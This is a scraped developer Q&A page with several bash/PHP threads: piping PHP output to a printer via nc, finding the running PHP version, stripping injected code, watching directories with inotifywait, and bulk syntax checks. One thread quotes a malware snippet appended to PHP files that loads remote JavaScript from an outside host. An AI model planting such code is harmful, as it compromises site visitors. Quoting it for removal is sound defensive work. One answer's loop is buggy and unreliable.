Include PHP command in bash script execute it and exit - php

I have the folowing script.
#!/usr/bin/env bash
target="anotherfolder";
dest="somefolder";
find $dest -maxdepth 1 -type f | sort -r | while IFS= read -r file; do
while /bin/true; do
files=$(ls -a "$dest" | grep -Fxv "$ignore")
if [ "$files" ];
then
php "$files" | nc 10.x.x.x 9100
mv "$files" "$dest"
break
fi
done
done
When i run the script is working only with the first file, after that is stop.
I assume i have to add an exit code after
php "$files" | nc 10.x.x.x 9100
Can you help ?

Barmar is correct. It is also not so clear why you are using find command here. You just need only one loop, use below script it might fix your problem. Also always provide the details, exactly what you are trying to do with your script i.e. your requirement that help us to provide a correct answer.
#!/usr/bin/env bash
target="anotherfolder";
dest="somefolder";
#find $dest -maxdepth 1 -type f | sort -r | while IFS= read -r file; do
#while /bin/true; do
files=$(ls -a "$dest" | grep -Fxv "$ignore")
for file in files
do
if [ "$file" ];
then
php "$file" | nc 10.x.x.x 9100
mv "$file" "$target"
#in above you need to move it to another directory
break
fi
done
#done

Related

Getting PHP Version for Currently Running Version

I have just built 3 different versions of PHP from source on an Ubuntu server (alongside NGINX and MySQL 5.7). I am looking for a way to run php --ini for the currently running version. I know I have to add the location to the file PATH in .bashrc so I don't have to add the full path.
I have added this to my .bashrc which allows me to get the currently running PHP version, which then allows me to run the command:
# parallels#ubuntu:~$ ps aux | grep php
# root 6948 0.0 0.2 153724 4620 ? Ss 16:48 0:00 php-fpm: master process (/opt/php-7.0.0/etc/php-fpm.conf)
PHP_VERSION=$(ps aux | grep -o php-[[:digit:]].[[:digit:]].[[:digit:]])
export PATH="/bin:/usr/bin:/opt/$PHP_VERSION/bin:/sbin"
It works, but I am a bash novice and I'm thinking their might be a different way to do it. Would I be correct?
PHP_VERSION=$(php -v | tail -r | tail -n 1 | cut -d " " -f 2 | cut -c 1-3)
cd /usr/local/etc/php/$PHP_VERSION/
# cd /usr/local/etc/php/7.1/
This command works while running in PHP
<?php
echo PHP_VERSION;
You can get it in bash, like
PHP_VERSION=$(php -r "echo PHP_VERSION;")
Here is all of PHP Predefined Constants
I got it to work with the following commands:
# Full version
php -v | head -n 1 | cut -d " " -f 2
# Major.Minor version
php -v | head -n 1 | cut -d " " -f 2 | cut -f1-2 -d"."
should be able to get it done with awk.
php -v | awk 'NR<=1{ print $2 }'
print the second column from the first row of input.

Remove malware in php file

All my .php file was appended a block of code like this:
<?php
#bbf007#
if(empty($r)) {
$r = "<script type=\"text/javascript\" src=\"http://web- ask.esy.es/m2nzgpzt.php?id=11101326\"></script>";
echo $r;
}
#/bbf007#
?>
I need to write a bash script with regular expression to remove this block out of code file. Please help me a suggestion.
Backup first!
The following will take all but the last 8 lines from all .php files within the current directory and it's subdirectories, and write them to a file called *.php.new:
find -name "*.php" | xargs -i sh -c 'head -n -8 {} > {}.new'
Then, move all the current php files to *.php.old:
find -name "*.php" | xargs -i sh -c 'mv {} {}.old'
Then, move the .php.new files to .php
find -name "*.php.new" | xargs -i sh -c 'mv {} `echo '{}' | head -c -5`'

How to get recursive directory path using inotify-tools in terminal

I'm using inotify-tools where i want a notification of file which has been created in recursive directories
Till here i'm succesfull
Now i want to get directory path where a file is been created/dumped in the recursive folders
for e.g abc.txt file is dumped in data/test folder
i want the path to be data/test/abc.txt
Below is the code im using in .sh file
inotifywait -m -r --format '%f' -e modify -e move -e create -e delete /var/www/cloud/data | while read LINE;
do
php /var/www/cloud/scannner/watcher.php;
done
Kindly please help me to get the path of a dumped file in recursive directories
Cheers
Use the %w modifier:
inotifywait -m -r --format '%w%f' .......
To pass the output of inotifywait as an argument to a php script, which will read it for the argv variable you could do this:
inotifywait -m -r --format '%w%f' ....... | while read -r line
do
php script.php "$line"
done
Otherwise, if you want the php script to read the output of inotifywait from the standard input, then you can just pipe to your script:
inotifywait -m -r --format '%w%f' ....... | php script.php

Verifying PHP syntax in an entire directory, with xargs

ls -1 *.php | xargs php -l doesn't work, any clues why ? (it only checks the first file)
I am trying to detect parse errors in my whole application.
Thank you.
EDIT:
Came up with this, it is sufficient for my needs:
#!/bin/sh
for chave in `find . | grep .php` ; do
php -l $chave
done
find . -name '*.php' -print0 | xargs -0 -L 1 php -l
This has the added bonus of working no matter what characters your filenames contain. Unfortunately I'm not sure why it's not working without the -L 1 part :(
Only print the once that fails:
find . -name '*.php' -print0 | xargs -0 -L 1 php -l | grep -v 'No syntax errors detected in ./'

Shell: SVN status pipe to php to check syntax

I know this is simple but I just cant figure it out.
I have a bunch of files output by "svn st" that I want php to do a syntax check on the command line.
This outputs the list of files: svn st | awk '{print $2}'
And this checks a php script: php -l somefile.php
But this, or variants of, doesn't work: svn st | php -l '{print $2}'
Any ideas? Thanks!
Use xargs:
svn st | awk '{print $2}' | xargs -L 1 php -l
The xargs -L 1 command reads items from standard input, one per line, and runs the given command for each item separately. See the xargs(1) man page for more info.

Categories